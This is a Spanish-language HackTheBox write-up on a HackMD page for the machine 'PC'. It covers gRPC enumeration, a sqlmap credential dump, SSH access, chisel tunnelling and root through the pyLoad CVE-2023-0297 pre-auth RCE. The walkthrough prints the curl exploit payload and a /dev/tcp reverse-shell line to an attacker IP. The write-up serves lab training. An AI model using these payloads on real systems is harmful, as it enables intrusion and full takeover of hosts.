Uqbar UNAL
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Help
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- title: HTB - PC chapter: 1 tags: [hackthebox] difficulty: easy --- ## Scan Al iniciar solo contamos con la dirección ip asignada a la máquina; en mi caso siendo la dirección 10.10.11.214. Por lo que el primer paso es revisar los puertos mediante el uso nmap. ```bash= nmap -p- -sVC --min-rate 2000 10.10.11.214 -Pn -oN scan.txt ``` Cuando se realiza el escaneo se encuentran 2 puertos abiertos, en donde uno esta ejecutando un servidor ssh y el otro esta haciendo uso de un servicio desconocido. ![](https://hackmd.io/_uploads/BJDZswej2.png) ## Enumeración Por lo que sería interesante revisar que se encuentra en ese puerto si lo revisamos haciendo uso del navegador. ![](https://hackmd.io/_uploads/Skdwsvxih.png) Pero no parece ser el camino correcto por lo que solo se ven unos caracteres ilegibles. Al revisar un poco en internet encontre que ese puerto es usado habitualmente por un servicio llamado GRPC, que es utilizado para permitir la interacción entre diferente tipos de servicios sin importar el lenguaje en el que se encuentren construidos. Navegando por internet encontre un proyecto en github que permite conectarse a este servicio mediante el uso de una interfaz gráfica. https://github.com/fullstorydev/grpcui ![](https://hackmd.io/_uploads/BykEpvxih.png) Con esto en mente solo es necesario descargar la versión correcta para el sistema operativo atacante y hacer uso del siguiente comando; pero modificando la ip y el puerto de la máquina victima. ```bash= grpcio -plaintext $ipvictima:$puertovictima ``` ![](https://hackmd.io/_uploads/H1MKpDlih.png) ![](https://hackmd.io/_uploads/HyCZAPlsn.png) Con esto se abrirá un entorno gráfico en el buscardor, sobre el cual se prodrá trabajar. Lo que carga parece ser un panel de inicio de sesión. Por lo que podría ser vulnerable a alguna clase de injección. Pero antes hay que navegar por la apliación para lograr obtener información. Al registrarse e iniciar sesión dentro de la aplicación, nos devuelve un id y un token que pueden llegar a ser de utilidad. ![](https://hackmd.io/_uploads/SkOj-Oxo3.png) Al revisar dentro del login existe una opción llamada getinfo en donde pide un Id, por lo que se hace uso del que ya obtuvimos dentro de la aplicación; en mi caso el 779. ![](https://hackmd.io/_uploads/HyO-Qdxi3.png) Pero dice que es necesario un parametro token, pero puede ser de utilidad el que conseguimos anteriormente. ![](https://hackmd.io/_uploads/r1Mn7dxsh.png) Y al configurar todo de forma adecuada retorna la siguiente información. ![](https://hackmd.io/_uploads/rkcONuej2.png) Por lo que se podría creer que esto de alguna manera puede devolver información que puede llegar a ser sensible. Así que se plantea capturar la petición y jugar con sqlmap para ver si alguno de los parametros el vulnerable. ### Nota Según parece los tokens son de un solo uso, así que por cada intento es necesario hacer un nuevo login. ![](https://hackmd.io/_uploads/rkx4Sdeih.png) ## Explotación Se intenta obtener la información del usuario, poniendo su token y su id. Pero se captura la petición para poder analizarla. ![](https://hackmd.io/_uploads/Bk5oIOgo2.png) ![](https://hackmd.io/_uploads/rJ_2Lugjh.png) Teniendo en cuenta que en nuestra hipótesis es vulnerable a una injección sql solo hay que tomar la petción y guardarla dentro de un fichero para que pueda ser interpresada con sqlmap. Y ya con todo listo solo es necesario usar el siguiente comando: ```bash= sqlmap -r peticion.txt -all ``` Al ejecutarlo, se puede ver un poco de la información dentro de las tablas que puede ser de gran utilidad. Un mensaje del administrador en donde dice que esta trabajando para corregir las cosas, y una tabla accounts en donde estan las credenciales del adminstrador y de sau. ![](https://hackmd.io/_uploads/BJPhwdej3.png) Despues de haber obtenido esta información y teniendo en cuenta que el host cuenta con un servidor ssh, podríamos intentar ganar acceso como sau. ![](https://hackmd.io/_uploads/Hy9Mqdxsn.png) ![](https://hackmd.io/_uploads/SkpV5Ogj2.png) ## Escalada de privilegios Ahora que contamos con acceso a la máquina buscamos encontrar algún vector para escalar privilegios hacia un usuario con privilegios elevados. Esto se puede hacer de forma manual o utilizando algún script para buscar alguna vulnerabilidad de forma automática, que será la opción que usaremos en este caso, esto gracias a linpeas. Debido a que las máquinas de htb no cuentan con acceso a internet es necesario descargar el archivo a el host atacante y montar un servidor al cual la victima pueda acceder. Esto se hace gracias a python3 con el siguiente comando https://github.com/carlospolop/PEASS-ng/tree/master ```bash= python3 -m http.server 8087 ``` ![](https://hackmd.io/_uploads/SyxHodxon.png) y dentro de la victima usar el siguiente comando. ```bash= wget http://10.10.14.163:8087/linpeas.sh ``` ![](https://hackmd.io/_uploads/B1Njo_xjh.png) Ahora con el archivo solo hace falta darle permisos de ejecución y ejecutarlo. ```bash= chmod +x linpeas.sh ./linpeas.sh ``` Esto nos permitirá ver bastante configurarciones por defecto, que podrán dar una idea de como se debe realizar el ataque. ![](https://hackmd.io/_uploads/By--huls2.png) Y al revisar dentro de los puertos activos parece que hay algo ejecutandose en el puerto 8000, habituelmente usado para páginas web, por lo que puede que haya una página ejecutandose en el entorno local dentro del host victima. ![](https://hackmd.io/_uploads/H16z6uxjh.png) Debido a eso es necesario realizar un tunel para que el tráfico se pueda dirigir a nuestro host váctima. Se hará uso de chisel para poder redirigir el trafíco del puerto 8000 a alguno de nuestros puerto. Además de también ser necesario configurar el proxy para poder redirigir el tráfico web. Por lo que para empezar hay que descargar el ejecutable de chisel. https://github.com/jpillora/chisel Después montar un servidor web dentro de la máquina atacante para poder descargar el archivo en la víctima. ```bash= python3 -m http.server 8087 ``` ![](https://hackmd.io/_uploads/SyxHodxon.png) Con esto solo es necesario user wget para obtener el archivo. ```bash= wget http://10.10.14.163:8087/chisel ``` ![](https://hackmd.io/_uploads/BkHxeKgsh.png) Ahora es necesario montar un tunel dinamico, por lo que dentro del host atacante usaremos el siguiente comando. ```bash= ./chisel server -v -p puerto -reverse ``` Y necesitaremos tener dos sesiones dentro de la máquina víctima pero por lo que ya contamos con credenciales no es ningún problema. ```bash= ./chisel server -v -p puertoaleatorio --socks5 ``` Y dentro de la otra terminal ```bash= ./chisel client IPatacante:puerto R:puertoAtaca:127.0.0.1:puertoaleatorio ``` Y para terminal en otra terminal dentro de la máquina atacante hay que ejecutar el sigueinte comando. ```bash= ./chisel client -v 127.0.0.1:puertoAtaca PuertoDelProxy:socks ``` Y si la conexión se realizó de forma adecuada deberiamos ver el siguiente mensaje. ![](https://hackmd.io/_uploads/ByoHEFgon.png) Para poder ver el tráfico dentro de nuestro navegador haremos uso de un proxy que estará escuchando sobre el socks que configuramos. Para esto hare uso de foxyproxy; Tener en cuenta que se debe configurar el puerto en el mismo que se escogio para el socks ![](https://hackmd.io/_uploads/H1r54Kgo2.png) Ahora dentro de la página web se encuentra un login de acceso haciendo uso de algo llamado pyload. Por lo que al buscarlo en google se en google se encuentra un exploit, asociado a el CVE-2023-0297: Pre-auth RCE in pyLoad ![](https://hackmd.io/_uploads/H1oyYFloh.png) https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad El cual consiste en que permite hacer uso de usarios como root, mediante el uso de peticiones curl. ```bash= curl -i -s -k -X $'POST' \ --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \ $'http://<target>/flash/addcrypted2' ``` Con esto, solo haría falta modficarlo un poco para que ejecute un archivo como usario administrador, para que cree una shell reversa como root hacia nuestra máquina. Primero creamos el archivo con el siguiente pyload ```bash= echo "/bin/sh -i >& /dev/tcp/10.10.14.163/4545 0>&1" > exploit.sh chmod +x exploit.sh ``` Y dentro de nuestro exploit modificamos el comando para que se ejecute el fichero ```bash= curl -i -s -k -X $'POST' \ --data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/exploit.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \ $'http://127.0.0.1:8000/flash/addcrypted2' ``` Y en el momento que se ejecute y se quede cargando podremos tener fé en que se ha creado una shell reversa. ![](https://hackmd.io/_uploads/H1ResFeoh.png) ![](https://hackmd.io/_uploads/rk6boYgon.png) Ahora solo hace falta buscar la flag de usuario root y habremos terminado la máquina. ![](https://hackmd.io/_uploads/BkA4iYgi2.png) Eso es todo y una máquina más completada. Se cuidan mucho y recuerden tomar awita.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully